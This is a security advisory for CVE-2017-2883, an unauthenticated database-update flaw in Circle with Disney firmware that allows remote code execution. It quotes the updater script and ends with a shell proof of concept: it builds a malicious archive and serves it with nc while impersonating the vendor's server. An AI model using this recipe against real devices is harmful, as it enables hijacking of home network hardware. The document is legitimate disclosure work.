Circle with Disney Database Updater Code Execution Vulnerability(CVE-2017-2883)

2017-11-08T00:00:00
ID SSV:96810
Type seebug
Reporter Root
Modified 2017-11-08T00:00:00

Description

Summary

An exploitable vulnerability exists in the database update functionality of Circle with Disney running firmware 2.0.1. Specially crafted network packets can cause the device to execute arbitrary code. An attacker needs to impersonate a remote server in order to trigger this vulnerability.

Tested Versions

Circle with Disney 2.0.1

Product URLs

https://meetcircle.com/

CVSSv3 Score

9.0 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-300: Channel Accessible by Non-Endpoint ('Man-in-the-Middle')

Details

Circle with Disney is a network device used to monitor internet use of children on a given network.

A cronjob exists which executes the script "firmware_updater.sh" every hour: ```

!/bin/sh

... my_updater_ver=cat /mnt/shares/UPDATER_VERSION; my_database_ver=cat /mnt/shares/DATABASE_VERSION; my_firmware_ver=cat /mnt/shares/VERSION; ... /tmp/wget -q -O /tmp/versions "http://download.meetcircle.co/dev/firmware/check_version.php? DEVID=$MAC&FVER=$my_firmware_ver&UVER=$my_updater_ver&DBVER=$my_database_ver&ETH=$eth_connected&IP=$IP$EXTRA" grep updater_ver /tmp/versions || exit 1 updater_ver=awk '/updater_ver/{print $2}' /tmp/versions; database_ver=awk '/database_ver/{print $2}' /tmp/versions; firmware_ver=awk '/firmware_ver/{print $2}' /tmp/versions; ... if [ $force = 0 ] ; then #check time window current_hour=date +%k if [ $current_hour -gt 4 -o $current_hour -lt 1 ]; then echo "Outside of firmware/database update window (1 - 5 am) ... canceling update check" exit 1 fi #check last API command if [ -s /mnt/shares/usr/bin/last_api ]; then time_last_api=date -r /mnt/shares/usr/bin/last_api +%s time_now=date +%s time_elapsed=expr $time_now - $time_last_api if [ $time_elapsed -lt 3600 ]; then echo "API command within last hour ... canceling firmware update check" exit 1 fi fi fi ...

update database

if [ "$database_ver" != "0.0" -a "$my_database_ver" != "$database_ver" ] ; then mkdir -p /mnt0 mkdir -p /mnt/tmp cd /mnt/tmp; mount -t ext4 -o rw,noatime,nodiratime /dev/sda2 /mnt0 /tmp/wget -q -O /mnt0/database_1.tar.gz "http://download.meetcircle.co/dev/firmware/get_database.php? DEVID=$MAC$EXTRA&MYVER=$my_database_ver" if [ -s /mnt0/database_1.tar.gz ] ; then mount -o remount,rw,noatime,nodiratime /dev/sda3 /mnt #remount to remove sync tar xzf /mnt0/database_1.tar.gz if [ -s /mnt/tmp/update_database.sh -a -s /mnt/tmp/shares/DATABASE_VERSION -a -s /mnt/tmp/dbmd5 ] ; then if md5sum -s -c /mnt/tmp/dbmd5 ; then cd /mnt; cp -lfr /mnt/tmp/* /mnt/ rm -rf /mnt/tmp mv -f /mnt0/database_1.tar.gz /mnt0/database.tar.gz umount /mnt0 sh /mnt/update_database.sh exit 0 fi fi fi cd /mnt; rm -f /mnt0/database_1.tar.gz rm -rf /mnt/tmp umount /mnt0 echo "error downloading and installing database" exit 1 else echo "not updating database: database_ver=$database_ver my_database_ver=$my_database_ver"; fi ```

The script above installs updates for the device if new versions are available.

Latest versions are retrieved using an HTTP request. If the update script is called within 1am and 4am and no API commands were issued in the last hour, the database will be updated when a new version is available.

The new version for the database is retrieved using an HTTP request: an archive is downloaded from "download.meetcircle.co", it is extracted in "/mnt/tmp" and, if a few conditions are met, the script "update_database.sh" present in the archive is executed.

Since both HTTP requests are unauthenticated, an attacker able to impersonate the remote server could return a malicious archive containing a custom "update_database.sh" script.

Exploit Proof-of-Concept

The following proof of concept shows how to execute the "power_down.sh" script on the device. An attacker needs to impersonate the server "download.meetcircle.co" in order to answer the HTTP requests. $ echo "/mnt/shares/usr/bin/scripts/circle/power_down.sh" > update_database.sh $ chmod 777 update_database.sh $ md5sum update_database.sh > dbmd5 $ mkdir shares $ echo 2.3 > shares/DATABASE_VERSION $ tar czf evil.tgz update_database.sh dbmd5 shares $ req1="$( echo -en "HTTP/1.0 200 OK\n\nupdater_ver 0.0\nfirmware_ver 0.0\ndatabase_ver 2.4\n" )" $ req2="$( echo -en "HTTP/1.0 200 OK\n\n"; cat evil.tgz )" $ for r in $req1 $req2; do echo $r | sudo nc -vv -l -p 80; done

Timeline

  • 2017-08-02 - Vendor Disclosure
  • 2017-10-31 - Public Release